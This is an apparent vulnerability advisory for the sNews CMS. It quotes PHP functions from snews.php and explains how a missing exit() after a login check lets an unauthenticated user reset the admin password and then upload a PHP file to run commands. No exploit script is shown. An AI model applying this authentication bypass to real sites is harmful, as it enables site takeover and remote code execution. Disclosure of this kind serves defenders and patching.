software site: http://www.solucija.com/home/snews/
you can have unauthorized access to admin password reset feature and other ones,
after that you can upload a php file and launch commands
see snews.php near lines 392-395:
...
function center() {
if (isset($_GET['category'])) {$id = $action = $_GET['category'];}
if (isset($_GET['articleid'])) {$articleid = $_GET['articleid'];}
if (isset($_POST['submit_text'])) {processing(); $processed = true;}
...
now look at processing() function near line 1300:
...
function processing() {
if ($_SESSION[db('website').'Logged_In'] != 'True') {notification(l('error_not_logged_in'),'','login/');}
...
and to notification() one near lines 675-680:
...
function notification($error, $errNote, $link) {
$errNote = !empty($errNote) ? '<br />'.$errNote : '';
echo '<h2'.(!empty($error) ? ' class="error">'.l('admin_error').'</h2><p>'.$error.$errNote.'</p>' : '>'.l('operation_completed').'</h2>');
echo (!empty($link)) ? '<p><a href="'.db('website').$link.'" title="'.l('back').'">'.l('back').'</a></p>' : '';
}
...
funny! there is no exit() or die()...
this one reset the admin password and try to upload a php file
